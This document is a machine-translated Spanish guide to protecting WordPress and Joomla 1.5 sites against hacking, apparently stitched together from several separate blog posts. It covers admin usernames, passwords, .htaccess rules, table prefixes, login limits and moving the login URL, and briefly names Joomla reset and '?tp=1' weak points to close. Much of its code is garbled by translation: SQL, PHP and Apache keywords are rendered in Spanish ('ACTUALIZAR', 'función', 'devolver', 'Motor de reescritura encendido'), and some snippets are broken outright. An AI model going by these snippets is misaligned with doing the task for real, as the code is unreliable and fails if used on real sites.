Atacan el panel de administración de wordpress qué hacer. Protección confiable de WordPress contra la piratería. Usa una conexión segura

Del artículo aprenderás:

1. Utilice un buen inicio de sesión.

La protección de un sitio de WordPress comienza con lo elemental: crear un buen inicio de sesión. Al instalar WordPress, los usuarios suelen utilizar el inicio de sesión que el instalador ofrece de forma predeterminada, a saber: administración. Esto es lo que comprueban en primer lugar los bots que buscan agujeros en la seguridad de su sitio. Con este inicio de sesión, ya proporciona la mitad de la información necesaria para los piratas informáticos, y solo tienen que adivinar la contraseña.

Si ya instaló la plataforma y está trabajando en su sitio, es poco probable que desee eliminar la instalación y comenzar desde cero para utilizar un inicio de sesión más seguro. Hay una salida:

Paso 1 - Creación de un nuevo usuario

Inicie sesión en el panel de administración de WordPress y cree una nueva cuenta con un inicio de sesión más complejo, dotado de acceso completo a todas las funciones del sitio, es decir, derechos de administrador.

En el menú principal de la izquierda, seleccione Usuarios >> Agregar nuevo.

Ingrese toda la información requerida para el nuevo usuario, definiendo su rol como "Administrador" y presiona "Añadir nuevo usuario".

Paso 2: Eliminación del usuario administrador

Después de eso, cierre sesión en el sistema de control, inicie sesión con un nuevo cuenta y eliminar el usuario administración del sistema de una de las siguientes maneras:

Método 1: desde el menú principal a la izquierda, seleccione Usuarios >> Todos los usuarios. Pase el cursor sobre el nombre de usuario administración y verás la función "Borrar".

Método 2: en el menú principal de la izquierda, seleccione Usuarios >> Todos los usuarios. Encuentra un usuario administración, márquelo y en el menú desplegable "Comportamiento" Seleccione "Borrar". Después de eso, haga clic en la opción "Solicitar" debajo de la lista de usuarios. Esta opción es útil si necesita eliminar varios usuarios a la vez.

También puede cambiar el administrador de nombre de usuario a través de una consulta de base de datos:
ACTUALIZAR wp_users SET user_login = 'new_login' WHERE user_login = 'admin';

Este método tiene un inconveniente: el autor de las publicaciones escritas por el usuario administración, no se modificará. Para solucionar esto, debe realizar otra consulta a la base de datos:
ACTUALIZAR wp_posts SET post_author = 'new_login' WHERE post_author = 'admin';

2. Utilice una contraseña única y compleja.

Proteger el área de administración de WordPress es, por supuesto, imposible sin una buena y segura contraseña. Es importante que sea único e incluya números, letras de diferentes registros, signos de puntuación, símbolos, etc. Contraseñas como: pass, 1q2w3e4r5t6y, 87654321, qwerty, abc123, 111111, 1234, tu fecha de nacimiento, etc. – no son confiables, pero muchos usuarios continúan usándolos. Ejemplo de una buena contraseña: pcVaOF8r39. Por supuesto, le resultará difícil recordar dicha contraseña, pero para ello existen una serie de programas que almacenan y generan contraseñas, y también pueden integrarse en la interfaz de su navegador (por ejemplo, Password Agent, KeyPass, Roboform, etc.)

Si aún desea recordar sus contraseñas de memoria, le recomendamos que cree una contraseña combinada a partir de un nombre/palabra que conozca bien, con algunas letras/números grandes en lugares aleatorios y algunos caracteres especiales al principio o al final. . Tal contraseña también será difícil de adivinar, pero será bastante fácil de recordar.

Recuerde actualizar sus contraseñas periódicamente.

3. Actualice su versión de WordPress.

WordPress se preocupa por sus usuarios y es por eso que puede encontrar notificaciones de cierre de sesión en el panel de administración. nueva versión. Te recomendamos que actualices tan pronto como lo veas, porque una de las brechas más comunes en la seguridad de tu sitio es el uso de versión desactualizada plataformas

4. Ocultar la versión de WordPress.

WordPress por defecto agrega el número de versión actual a fuente sus archivos y páginas. Y dado que con bastante frecuencia no siempre es posible actualizar la versión de WordPress a tiempo, esto puede volverse punto débil su sitio web. Sabiendo qué versión de WordPress tienes, un hacker puede hacer mucho daño.

Con la ayuda de un archivo. funciones.php puede deshabilitar la visualización de información sobre la versión de su plataforma. Para hacer esto, necesita abrir el archivo funciones.php, ubicado en la carpeta raíz del tema actual de su sitio web (wp-content/themes/current_wordpress_theme) y agrega el siguiente código:
remove_action('wp_head', 'wp_generator');

O puede agregar el siguiente código al archivo funciones.php:

/* Ocultar cadenas de versiones de WP de scripts y estilos
* @return (cadena) $origen
* @filtro script_loader_src
* @filtro estilo_cargador_src
*/
función fjarrett_remove_wp_version_strings($src) (
global $wp_version;
parse_str(parse_url($src, PHP_URL_QUERY), $consulta);
if (!empty($consulta['ver']) && $consulta['ver'] === $wp_version) (
$src = remove_query_arg('ver', $src);
}
devolver $origen;
}
add_filter('script_loader_src', 'fjarrett_remove_wp_version_strings');
add_filter('style_loader_src', 'fjarrett_remove_wp_version_strings');

/* Ocultar cadenas de versión de WP de la metaetiqueta del generador */
función wpmudev_remove_version() (
retorno";
}
add_filter('el_generador', 'wpmudev_remove_version');

Aparte de lo anterior, en cualquier carpeta de temas de WordPress, encontrarás encabezado.php expediente. También enumera la versión de su instalación, lo cual es muy interesante para un pirata informático, como se mencionó anteriormente. Al eliminar la siguiente línea del archivo, eliminará esta información adicional:

” />

5. Descargue temas y complementos de fuentes confiables.

WordPress está tan extendido que cada vez más desarrolladores crean temas y complementos listos para usar. Si bien la mayoría de ellos harán que su sitio sea más fácil de usar y mejorarán su funcionalidad, algunos pueden ocultar consecuencias muy desagradables en forma de virus y puertas abiertas para los piratas informáticos. Use solo recursos de descarga confiables para temas y complementos, como wordpress.org, y preste atención a las advertencias sobre archivos maliciosos que aparecen. Al igual que con WordPress, es importante mantener los complementos actualizados con las últimas versiones.

6. No almacene archivos innecesarios.

Las extensiones inactivas pueden representar una seria amenaza para la seguridad de su sitio. Por lo tanto, no dude en eliminar todos los complementos y temas no utilizados. Por ejemplo, instalaste para probar y elegir el que usarás. Después de elegir, no olvide eliminar todos los innecesarios.

7. Revise regularmente su computadora local en busca de virus.

Tomar los diversos pasos para proteger su sitio de WordPress está bien, pero también debe vigilar su computadora. Debes tener instalado un antivirus constantemente actualizado. De lo contrario, corre el riesgo de infectar su sitio web cargando archivos de virus.

8. Realice copias de seguridad del sitio.

No todos los ataques maliciosos se pueden prevenir, pero solo un ataque exitoso puede destruir todos los esfuerzos de trabajo en su sitio. Recomendamos hacer copias de seguridad periódicas del sitio web. Muchas empresas de alojamiento brindan la opción de copias de seguridad del servidor y, en cuyo caso, puede restaurar el sitio desde una copia que está disponible en el servidor.

Al instalar el complemento de copia de seguridad de la base de datos de WordPress, también puede proteger la base de datos de su sitio web. La configuración del complemento le permite configurar la opción de enviar una copia de seguridad diaria de la base de datos a su buzón de contacto.

9. Utilice una conexión segura.

Si prefiere cargar sus archivos mediante un cliente FTP, utilice un protocolo de conexión de servidor SFTP seguro.

10. Cree un archivo .htaccess.

Código de protección Hotlink:

Motor de reescritura encendido
RewriteCond %(HTTP_REFERER) !^http://(.+\.)?sudominio\.com/
Reescribir Cond %(HTTP_REFERER) !^$
Regla de reescritura .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpg [L]

Hotlinking es la inserción de una imagen desde su servidor al sitio web/blog de otra persona. El tráfico va directamente a su servidor.

Con el código anterior, puede obligar al servidor a verificar de dónde vino exactamente la solicitud: si de las páginas de su sitio web, entonces el servidor le da la imagen al usuario sin problemas; si es del sitio web de otra persona, muestra una imagen con un error.

11. Cambie el prefijo de las tablas de la base de datos.

La protección de WordPress contra los piratas informáticos también aumentará si elimina el prefijo inicial wp_- esto complicará la búsqueda de intrusos. Consideremos varias formas:

Método 1: adecuado para nuevas instalaciones a través de Softaculous
Si su proveedor de alojamiento le permite usar el script Softaculous para instalar WordPress, puede cambiar el prefijo durante la instalación inicial: en la sección Opciones avanzadas, deberá realizar los cambios necesarios.

Método 2: para sitios activos e instalaciones nuevas de WordPress
Si su WordPress ha estado instalado durante mucho tiempo y el sitio funciona, entonces puede cambiar el prefijo usando el programa phpMyAdmin.

Seleccione la base de datos requerida de la lista y realice la siguiente consulta de base de datos:

RENOMBRAR la tabla `wp_commentmeta` TO `newprefix_commentmeta`;
RENOMBRAR la tabla `wp_comments` A `newprefix_comments`;
RENOMBRAR la tabla `wp_links` A `newprefix_links`;
RENOMBRAR la tabla `wp_options` A `newprefix_options`;
RENOMBRAR la tabla `wp_postmeta` A `newprefix_postmeta`;
RENOMBRAR la tabla `wp_posts` A `newprefix_posts`;
RENOMBRAR la tabla `wp_terms` A `newprefix_terms`;
RENOMBRAR la tabla `wp_term_relationships` A `newprefix_term_relationships`;
RENOMBRAR la tabla `wp_term_taxonomy` A `newprefix_term_taxonomy`;
RENOMBRAR la tabla `wp_usermeta` TO `newprefix_usermeta`;
RENOMBRAR la tabla `wp_users` A `newprefix_users`;

donde "nuevoprefijo_" debe reemplazarse con el nuevo prefijo que desea usar en lugar del prefijo "wp_".

Después de eso, verá el nuevo prefijo en las tablas de la base de datos:

Para asegurarse de que todos los cambios fueron exitosos y el prefijo wp_ ya no se usa en la tabla _opciones y _usuariometa, deberá realizar otra consulta a la base de datos:

SELECCIONE * DESDE `newprefix_options` DONDE `option_name` LIKE '%wp_%'

SELECCIONE * DESDE `newprefix_usermeta` DONDE `meta_key` LIKE '%wp_%'

Como resultado, puede encontrar una serie de prefijos que deberá renombrar manualmente usando el botón Cambio:

El número de cambios que debe realizar puede variar. Pero todos los prefijos wp_ debe cambiar a su nuevo prefijo para que el sitio web funcione correctamente.

Después de eso, no olvide hacer también los cambios de prefijo en wp-config.php expediente:

También puede usar complementos especiales para cambiar el prefijo de la base de datos: Cambiar el prefijo de la base de datos o Cambiar el prefijo de la tabla.

12. Limite el número de intentos de acceso.

La mayoría de las veces, los atacantes hacen una gran cantidad de intentos de ingresar a su sitio y obtienen una contraseña. Puede configurar el sistema para que la dirección IP se bloquee durante varias horas después de una cierta cantidad de intentos fallidos de inicio de sesión.

Para hacer esto, puede usar complementos adicionales, como Login LockDown o Limitar intentos de inicio de sesión. En la configuración de estos complementos, puede establecer de forma independiente la cantidad de intentos de inicio de sesión y el tiempo de bloqueo.

Además, es posible eliminar la visualización de un mensaje que indica que el nombre de usuario y la contraseña ingresados ​​son incorrectos. Después de todo, esta también es información que puede ayudar a un atacante.

Para eliminar la salida de este mensaje, debe abrir el archivo funciones.php, ubicado en la carpeta del tema actual de su sitio web (wp-content/themes/current_wordpress_theme) y añade este código:
add_filter('login_errors',create_function('$a', "return null;"));

13. Elimine readme.html y license.txt.

Los archivos readme.html y license.txt están presentes en la carpeta raíz de cualquier instalación de WordPress. No necesita estos archivos, y pueden exponer a los piratas informáticos a sus atrocidades. Por ejemplo, para saber la versión actual de tu WordPress y muchas otras cosas útiles para hackear un sitio web. Recomendamos eliminarlos inmediatamente después de instalar WordPress.

14. Utilice un certificado SSL.

Para transferir información segura y la confidencialidad del intercambio de datos, recomendamos utilizar el protocolo SSL. Esto es especialmente cierto para las tiendas en línea si no desea que los datos personales de sus clientes se transmitan de manera insegura.

En primer lugar, deberá instalarlo para su nombre de dominio.

Después de eso, puede configurar el uso obligatorio del protocolo SSL al iniciar sesión en el panel de control de su sitio. Para ello, abra wp-config.php archivo ubicado en la carpeta raíz de su sitio web y agregue la siguiente línea:
define('FORCE_SSL_ADMIN', verdadero);

15. Modifique el archivo wp-config.php.

Al agregar este código a wp-config.php archivo, también puede reforzar la protección de su sitio web:

Restricción en los cambios de tema y plugin:
define('DISALLOW_FILE_EDIT', verdadero);

Deshabilitar la capacidad de instalar y eliminar complementos:
define('DISALLOW_FILE_MODS', verdadero);

Agregar claves de sal o las llamadas claves de seguridad: primero deberá encontrar tales cadenas en wp-config.php expediente:

Verás que las claves ya están instaladas y puedes cambiarlas. O verá líneas como esta: 'ponga su frase única aquí', lo que indica que las claves aún no se han configurado:
/**#@+
* Autenticación de Claves Únicas y Salts.
*
* ¡Cambia estos a diferentes frases únicas!
* Puede generarlos usando el servicio de clave secreta (@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org)
* Puede cambiarlos en cualquier momento para invalidar todas las cookies existentes. Esto obligará a todos los usuarios a tener que iniciar sesión de nuevo.
*
* @desde 2.6.0
*/
define('AUTH_KEY', 'ponga su frase única aquí');
define('SECURE_AUTH_KEY', 'ponga su frase única aquí');
define('LOGGED_IN_KEY', 'ponga su frase única aquí');
define('NONCE_KEY', 'ponga su frase única aquí');
define('AUTH_SALT', 'ponga su frase única aquí');
define('SECURE_AUTH_SALT', 'ponga su frase única aquí');
define('LOGGED_IN_SALT', 'ponga su frase única aquí');
define('NONCE_SALT', 'ponga su frase única aquí');

Me gustaría mencionar algunos complementos por separado:

Este es un complemento de seguridad de WordPress que le permite escanear su sitio web en busca de código malicioso, agujeros y lagunas de piratas informáticos, mostrando análisis de tráfico y sitio web en tiempo real. También existe la posibilidad de configurar el escaneo automático y mucho más.

Este complemento verifica su sitio web en busca de varias vulnerabilidades de seguridad y ofrece una variedad de métodos para solucionarlas. Por ejemplo, contraseñas, diferentes permisos de archivo, protección de base de datos, protección de información de versión de WordPress, protección de administrador y más.

Este complemento le permite proteger las cuentas de usuario y los inicios de sesión, las bases de datos y el sistema de archivos, evitar ataques de fuerza bruta (ataques de adivinación de contraseñas), escanear el sitio y más.

Por triste que parezca, proteger WordPress es algo complejo, y los métodos descritos en este artículo no garantizan al 100 % que su sitio estará completamente protegido contra cualquier actividad fraudulenta. Sin embargo, no deben descuidarse, ya que reducirán significativamente la posibilidad de que los intrusos pirateen el sitio.

WordPress es un CMS muy popular, este no es sin duda su punto a favor, existen muchos plugins para cualquier tarea, pero también es su debilidad, ya que cuanto más popular es el CMS para el sitio, más ataques sufre, más precisamente, es más interesante para un hacker, ya que al encontrar una vulnerabilidad con WordPress, cientos de miles de sitios quedan expuestos a los atacantes, por lo que proteger tu sitio de WordPress requiere una atención especial.

¿Por qué se piratean los sitios de WordPress?

Todos los CMS (motores de sitios web) populares están pirateados, y WordPress no es una excepción. Hackeo principalmente con la ayuda de los llamados programas (scripts): exploits, para obtener control sobre el sitio, esto se hace principalmente para crear enlaces desde su sitio. a otros recursos, y para crear una BotNet que se ocupe de los ataques DDoS en otros servidores, mientras el sitio permanece operativo y nunca verá a simple vista que está infectado. En cualquier caso, la piratería tendrá un efecto negativo en su sitio e incluso puede desaparecer de los resultados de búsqueda.

Como dije, la piratería ocurre automáticamente, no es difícil determinar el CMS de un sitio, hay muchos servicios en línea para esto, a menudo un programa atacante intenta adivinar la contraseña de la parte administrativa del sitio, es decir. va a la dirección your-site.ru/wp-admin e intenta adivinar la contraseña de su usuario, no es difícil encontrar el nombre de usuario, escribe artículos debajo de él, por lo que el inicio de sesión será visible para los bots, ellos saben donde mirar a menos que, por supuesto, lo haya cerrado con un complemento, uno de los cuales hablaremos a continuación. La contraseña del administrador del sitio debe ser muy compleja, pero incluso si se cumple esta condición, no puede permitir que los bots clasifiquen (brute) la contraseña del "panel de administración", porque esto no es una carga necesaria en el servidor, imagina si varias docenas de bots de diferentes partes del mundo están haciendo esto.

Complemento para proteger WordPress de ataques

Pasemos al complemento, digno de escuchar algunos, hablemos de uno más simple y comprensible, lo uso en muchos de mis proyectos, para los clientes, se adapta muy bien a las tareas de protección del sitio:

Este complemento es bastante fácil de aprender y 90% rusificado, se instala como cualquier complemento del repositorio de WordPress, después de la instalación debe activarlo y realizar la configuración básica. Aparece en el menú principal en el administrador de WordPress.

Panel de control del complemento de seguridad de WP

Después de ir a la configuración del complemento, llegamos al panel de control. Aquí puede realizar los principales ajustes importantes.

  1. Muestra las últimas 5 autorizaciones en su panel de administración, se indica el usuario y la dirección IP, por ejemplo, inmediatamente veo mis IP, solo hay dos, por lo que no tengo dudas de que alguien más sabe mi contraseña de la parte administrativa. .
  2. La sección de las funciones más importantes, todo debe incluirse aquí, y estás de acuerdo con todo.
  3. El complemento puede rastrear los cambios de archivos en el alojamiento y puede enviar un informe a su correo, y siempre está al tanto de qué archivos ha cambiado, esto es muy útil si ha subido algún script o cualquier archivo con código malicioso. , lo verá inmediatamente en el informe, lo único negativo, después de actualizar cualquier otro complemento que haya instalado o el propio motor de WordPress, WP Security verá todos estos cambios y le enviará una lista enorme, pero puede acostumbrarse a estos informes , porque sabe cuándo actualizó los archivos usted mismo.
  4. Este elemento cambia la dirección estándar del panel de administración del sitio yoursite.ru/wp-admin a yoursite.ru/luboe-slovo, esto salvará su panel de administración de algunos piratas informáticos y bots desafortunados, pero desafortunadamente no de todos, especialmente los más avanzados. encontrarlo, puedo juzgar esto mirando la sección "Autorizaciones", pero más sobre eso más adelante.
  5. Este elemento debe estar desactivado, como en la captura de pantalla, es necesario solo cuando desea poner el sitio en mantenimiento, los visitantes recibirán una señal con un mensaje de que el sitio está realizando trabajos técnicos, a veces es útil, por ejemplo , al cambiar el diseño del sitio, o con algunos cambios globales, no olvide que en este modo los robots de búsqueda tampoco pueden ver su sitio, no lo cierre por mucho tiempo.

Proteger al administrador de WordPress de adivinar contraseñas

Ahora vayamos al elemento del menú: Autorización, en mi opinión, es un elemento muy útil y debe configurarse, como lo está en uno de mis sitios. Con una asistencia de alrededor de 1000 personas, el complemento detecta docenas de intentos por día para adivinar la contraseña del panel de administración y agrega las direcciones IP de los piratas informáticos a la lista negra, es decir. lo bloquea por completo, el sitio deja de responder a esta dirección IP, anulando así los intentos de obtener una contraseña, en la pantalla de configuración que hago.

  1. Te dejo el número de intentos de “cometer un error” -3, no hagas menos, tu mismo puedes teclear mal la contraseña, y tendrás que entrar en la lista negra con tu IP
  2. Este es el tiempo después del cual se reinicia el contador de intentos de inicio de sesión no válidos.
  3. El período de bloqueo de las direcciones IP desde las cuales hubo intentos de autorización incorrectos, configuré más, en minutos, es decir. baño durante mucho tiempo, en la pantalla cuesta 6.000.000 minutos, esto es como 11 años, creo que es suficiente

A todas las direcciones IP bloqueadas se les negará el acceso no solo al panel de administración, sino a todo el sitio, tenga esto en cuenta

Lista de direcciones IP bloqueadas

  1. Dirección IP del atacante
  2. el inicio de sesión para el que se seleccionó la contraseña, por cierto, es correcto
  3. fecha en que se realizó el bloqueo automático

Lista blanca de direcciones para el panel de administración

Para permitir el acceso a la parte administrativa del sitio de WordPress solo desde ciertas direcciones IP, puede activar la lista blanca de direcciones en la configuración del complemento.

  1. activando esta opción
  2. aquí está su dirección IP actual
  3. en este campo ingrese todas las direcciones IP desde las cuales se permite el acceso al panel de administración

Si necesita especificar un rango de direcciones IP, en lugar de un número, use un asterisco, por ejemplo 192.168.5.* - esta construcción le dará acceso al panel de administración de wordpress desde todas las direcciones IP que comiencen con estos números, este método puede ser útil para aquellos que no tienen una dirección IP dedicada y está cambiando constantemente, por ejemplo, cuando se trabaja con Internet móvil, por regla general, el rango se mantendrá dentro de los dos primeros dígitos, así por ejemplo 192.168.*. *

Tiempo de lectura: 4 minutos

Hace un año, la carga de mi servidor excedía muy a menudo el límite permitido por el límite de la tarifa. Al mismo tiempo, el problema no estaba en los sitios en sí, sino en un ataque banal de intrusos en el panel de administración, para obtener acceso para algunos de sus propósitos.

Hoy les contaré cómo lidié con el problema, que les aconsejo que hagan por si acaso en casa.

Como resultado, se decidió cambiar la dirección del formulario de inicio de sesión en el panel de administración, así como cubrir el panel de administración para todas las personas externas que no tengan mi IP.

Vale la pena señalar que algunas empresas de alojamiento han creado automáticamente una nueva dirección de administrador para todos los usuarios. Si utiliza los servicios de dicho alojamiento, no lea más artículos y no pierda el tiempo.

Cómo cambiar la dirección de administrador de WordPress

Publiqué este artículo antes. Aquí parece ser un resultado similar, pero el efecto y el propósito son diferentes.

No olvide hacer una copia de seguridad de los archivos con los que trabaja.

  • Primero, copie el archivo wp-login.php desde la raíz del sitio (donde se encuentra wp-config.php) a ftp a su computadora.
  • Renómbralo como quieras. Por ejemplo vhod.php
  • Abra este archivo con el programa gratuito Notepad ++ (o lo que prefiera editar) y reemplace todas las apariciones de la frase wp-login.php con vhod.php .

Puede hacer esto rápidamente presionando CTRL+F en Notepad++. Bueno, en la ventana que aparece, ingresa:

Así que en un segundo reemplacé la aparición de la frase que necesitaba en todo el archivo. Se encontró 12 veces.

Sube el nuevo archivo a ftp.

Se deberá hacer algo similar en el archivo general-template.php, que encontrará en la carpeta wp-includes allí mismo en ftp. Aquellos. cambie la aparición de la frase wp-login.php a vhod.php , ¡pero no cambie el nombre del archivo en sí!

Ahora tiene un archivo .htaccess en el mismo lugar en la raíz del sitio. También lo copiamos a nuestra computadora y lo abrimos para editarlo (puede usar el Bloc de notas habitual de Windows). Insertamos un código de este tipo que impide que todos accedan al archivo wp-login.php

Ordenar denegar, Permitir denegar de todos

< Files wp - login . php >

Orden denegada

Negar todo

< / Files >

Fue este paso el que eliminó la carga y también ocultó el formulario de autorización. La carga se eliminó insertando el código presentado en .htaccess: si hubo una llamada a http://site.ru/wp-login.php, devolvería un error 403, no un 404.

Repitamos brevemente el algoritmo de trabajo:

  • Cambie el nombre del archivo wp-login.php a un nombre arbitrario y reemplace las apariciones del nombre con uno nuevo.
  • De manera similar, reemplazamos el antiguo nombre wp-login.php en el archivo general-template.php con el nuevo.
  • Prescribimos en el archivo .htaccess una prohibición de acceso a wp-login.php para todos

Después de actualizar WordPress, solo será necesario reparar el archivo general-template.php. Pero desde el motor no se actualiza con tanta frecuencia; esto es un poco en comparación con el efecto.

Ponemos restricción de ingreso por IP a través de .htaccess

Como medida adicional para proteger el sitio, adopté una restricción para ingresar al panel de administración por IP. El problema se resolvió de manera muy simple: cree un archivo .htaccess vacío y agregue el siguiente código

orden denegar,permitir permitir de 192.168.0.1 denegar de todos

orden denegar, permitir

permitir desde 192.168.0.1

Negar todo

Guardamos el archivo y lo subimos a la carpeta wp-admin en el mismo lugar en la raíz del sitio.

En lugar de mi IP del ejemplo, pon la tuya real. Además, puede agregar varias IP de una nueva línea cada una:

orden denegar,permitir permitir desde 126.142.40.16 permitir desde 195.234.69.6 denegar desde todos

orden denegar, permitir

permitir desde 126.142.40.16

permitir desde 195.234.69.6

Negar todo

Si la IP es dinámica, puede poner números solo hasta el primer, segundo y tercer punto:

¿Ya sabes cómo entrar en el área de administración de WordPress?

Puede hacer esto de al menos cuatro formas agregando lo siguiente a la dirección de su sitio:

  1. /admin, es decir así: http://yoursite/admin
  2. /wp-admin
  3. /acceso
  4. /wp-login.php

En general, las tres primeras opciones por redireccionamiento (redireccionamiento) lo llevarán de todos modos a la página: http://your_site/wp-login.php

Resulta que cualquiera puede agregar cualquiera de los cuatro prefijos descritos anteriormente a la dirección de su sitio y ver la entrada del panel de administración:

Por supuesto, esto no significa en absoluto que esta persona también pueda acceder fácilmente al panel de administración, ya que todavía necesita saber el nombre de usuario o su correo electrónico y su contraseña.

Si su usuario administrador tiene un inicio de sesión: - entonces esto no es nada prudente de su parte y el atacante solo tendrá que adivinar o adivinar su contraseña.

Además, ¿viste la inscripción: Nombre de usuario o correo electrónico? Sí, sí, es un correo electrónico que WordPress puede usar como nombre de usuario. Pero podría especificar una dirección de correo electrónico en algún lugar del sitio que coincida con el correo electrónico del usuario administrador. Resulta que lo primero que puede intentar un atacante es ingresar su E-mail y aquí WordPress lo ayudará nuevamente, ya que si el E-mail no coincide, verá este mensaje:

y si el correo electrónico es correcto, WordPress escribirá que la contraseña no es correcta:

Como resultado, tenemos una situación en la que un atacante potencial solo necesitará adivinar o adivinar su contraseña para piratear su sitio (acceso al panel de administración).

¿Cómo proteger la entrada al panel de administración de una amenaza potencial? La respuesta es simple: intente aumentar la cantidad de incógnitas requeridas para la entrada.

Y ahora echemos un vistazo más de cerca:

  1. Si es posible, asegúrese de que el correo electrónico del usuario administrador no se mencione en ninguna parte del sitio; el correo electrónico público debe ser otra cosa.
  2. Tu contraseña no debe ser simple, al instalar el propio WordPress te genera una contraseña compleja, si no quieres usarla, inventa alguna contraseña más o menos compleja que incluya caracteres pequeños y grandes, números y algunos caracteres como -, ?, _etc
  3. Tu nombre de usuario tampoco debe ser simple, no: administrador, gerente, raíz, administrador, usuario y otras palabras simples!
  4. Y finalmente, debe ingresar la tercera incógnita más importante: cambie la URL de inicio de sesión del administrador, para esto, instale un complemento simple: WPS Ocultar inicio de sesión
WPS Ocultar inicio de sesión

Un complemento simple, gratuito y bastante popular que le permite cambiar la URL de inicio de sesión del administrador.

Después de instalar y activar el complemento, debe ir a la sección de administración: Ajustes / General, luego desplácese hasta el final de la página y vea solo un parámetro agregado por este complemento:

De forma predeterminada, el complemento sugiere usar el inicio de sesión http://yoursite/login, ¡pero esta no es la mejor opción! Piensa en algo propio, por ejemplo: yyy12_go)))

Después de cambiar este parámetro, no olvide hacer clic en el botón Guardar cambios– de lo contrario, cuando el complemento esté activo, iniciará sesión a través de http://yoursite/login

Asegúrese de intentar cerrar sesión e iniciar sesión nuevamente en el panel de administración, pero en la nueva dirección de inicio de sesión que se le ocurrió y, lo más importante, ¡no la olvide!

Después de cambiar el punto de entrada al panel de administración, al intentar acceder a las URL estándar, el usuario recibirá una página de error 404.

¡Atención! Si de repente olvida la nueva dirección de inicio de sesión del administrador, deberá desactivar este complemento. Puede hacer esto sin ingresar al panel de administración si tiene acceso a las carpetas y archivos del sitio. Solo necesita cambiar el nombre o eliminar la carpeta del complemento wps-ocultar-inicio de sesión, que estará en la carpeta complementos(la carpeta de complementos está en la carpeta wp-content).

Como resultado: después de aplicar todas las medidas anteriores, deberíamos obtener la protección del inicio de sesión del panel de administración con tres incógnitas: correo electrónico/nombre de usuario, una contraseña compleja y su propia URL de inicio de sesión única, y esto puede complicar enormemente los intentos de los jóvenes. piratas informáticos)

Hola, queridos lectores del sitio del blog. Hoy quiero hablar sobre la seguridad del trabajo y algunos métodos para proteger el sitio contra la piratería. Desafortunadamente, no soy un experto en esta área y mi conocimiento no va mucho más allá del alcance del artículo, pero simplemente describiré mi experiencia reciente. No he usado nada complicado, pero espero que esto aumente la seguridad de trabajar con mis sitios.

será sobre doble autenticación para ingresar al panel de administración del motor su sitio (debería funcionar en cualquier CMS, pero personalmente solo probé en WordPress y Joomla). La protección se establece a nivel del servidor, por lo que todos los intentos de adivinar la contraseña del panel de administración (fuerza bruta) no crearán una mayor carga en el alojamiento y es bastante difícil eludirlo. Se configura fácilmente (literalmente en unos pocos pasos) y de todos los conocimientos, solo requiere atención y la capacidad de acceder al sitio a través de FTP.

Bueno, también daré un par de acciones que apliqué a sitios en los motores Joomla 1.5 ya obsoletos, a los que realmente no tengo sentido transferirlos, pero que constantemente rompen y usan el servidor para enviar spam. Realicé las acciones descritas recientemente, por lo que no puedo afirmar que la infección de sitios con virus se haya detenido, pero espero que sí. En general, probé un poco mejorar la resistencia al hackeo de Joomla 1.5.

Cómo proteger Joomla 1.5 de hacks y virus

Como mencioné anteriormente, el problema radica en los constantes ataques a mis dos sitios, que ejecutan Joomla 1.5. Puede considerarlos abandonados, porque no les agrego nuevos materiales, pero generan ingresos regularmente (por publicar artículos de Miralinks y Webartex, así como enlaces de Gogetlinks). En general, es una pena tirarlos, pero transferirlos a una nueva versión del motor "para chatarra" (es una pena por el tiempo y el esfuerzo invertidos).

Queda por monitorear constantemente la carga en el servidor y, cuando aumenta, buscar shells y otro malware entre los archivos del motor, o de alguna manera fortalecer la protección. Para buscar malware, descargo los archivos del motor a una computadora y los verifico con DoctorWeb y Aibolit. El primero no encuentra todo, y el segundo ve al enemigo con demasiada frecuencia donde no está, pero no conozco ningún otro método efectivo. Aunque, también hay decenas de programas, pero esto ya es más conveniente para cualquiera.

Por cierto, el guión Aibolit puede funcionar no solo en el servidor, sino también directamente en la computadora en la carpeta con los archivos del motor descargados (simplemente no olvide desactivar el antivirus estándar cuando descargue el sitio, ya que puede reparar algunos de los archivos, pero permanecerá en el servidor).

Las instrucciones detalladas se dan en el video a continuación y, en resumen, descarga el intérprete de lenguaje PHP del sitio web de Microsoft e instálelo. Después de eso, abra el archivo de script de Aibolit llamado ai-bolit.php usando este mismo intérprete:

La velocidad de rastreo depende de la velocidad de su computadora y la cantidad de archivos en el motor de su sitio. Me tomó varias horas para el sitio https: //, porque incluso Aibolit sospecha que las imágenes ocultan virus, y tengo muchas de estas mismas imágenes, y los archivos de caché tardan mucho tiempo en escanear. Para los sitios en Joomla 1.5, la verificación fue mucho más rápida.

Decidió pasar un día buscando formas de mejorar la seguridad del sitio. Logramos hacer bastante, pero aún mejor que nada. Empecemos con fortalecimiento de la protección (contra la reducción de la vulnerabilidad) de dos sitios en Joomla 1.5. Se ha hecho lo siguiente:


¿De qué otra manera proteger Joomla 1.5 de virus y hacks de transmisión?

  1. Además, los "especialistas" aseguran que los sitios en Joomla 1.5 están rotos "en uno o dos" usando el del motor (a través de él supuestamente puedes cambiar la contraseña de administrador). Incluso si no usa el registro en su sitio y no muestra un enlace para restaurar en ningún lado, esto no significa que haya cubierto esta vulnerabilidad. Simplemente agregue el siguiente fragmento a la URL de la página de inicio de su sitio y obtendrá la función que está buscando: /index.php?option=com_user&view=reset

    En realidad, para cerrar esta laguna (pero todavía no entiendo cómo usarlo para piratear), simplemente puede eliminar este archivo:

    /components/com_user/models/reset.php Cierto, después de eso, ninguno de los usuarios registrados en su sitio podrá usar la función de recuperación de contraseña, pero para mí no fue importante, porque no se proporcionó el registro.

  2. También dicen que un shnyag tan útil como agregar a la dirección de la página también permite que los creadores de virus y los cazadores del bien de otras personas lleguen a algunas áreas sensibles de su sitio y lo vuelvan destructivo, o de alguna otra manera abusen de él. Esta cosa se elimina nuevamente editando uno de los archivos del motor. /bibliotecas/Joomla/application/module/helper.php

    Allí debe eliminar dos fragmentos de código o comentarlos encerrándolos en /* y */ (este código no será ejecutado por el intérprete de lenguaje). El primer fragmento es:

    If(count($resultado) == 0) ( if(JRequest::getBool("tp")) ( $resultado = JModuleHelper::getModule("mod_".$posicion); $resultado->titulo = $posicion; $resultado->contenido = $posicion; $resultado->posicion = $posicion; ) )

    Y el segundo es:

    If(JRequest::getBool("tp")) ( $attribs["style"] .= " esquema"; )

    En realidad, después de eso, reinicia el caché e intenta ver las posiciones de los módulos en su plantilla usando la siguiente construcción:

    https://sitioweb/?tp=1

    Si no funcionó, es de esperar que haya cerrado este agujero.

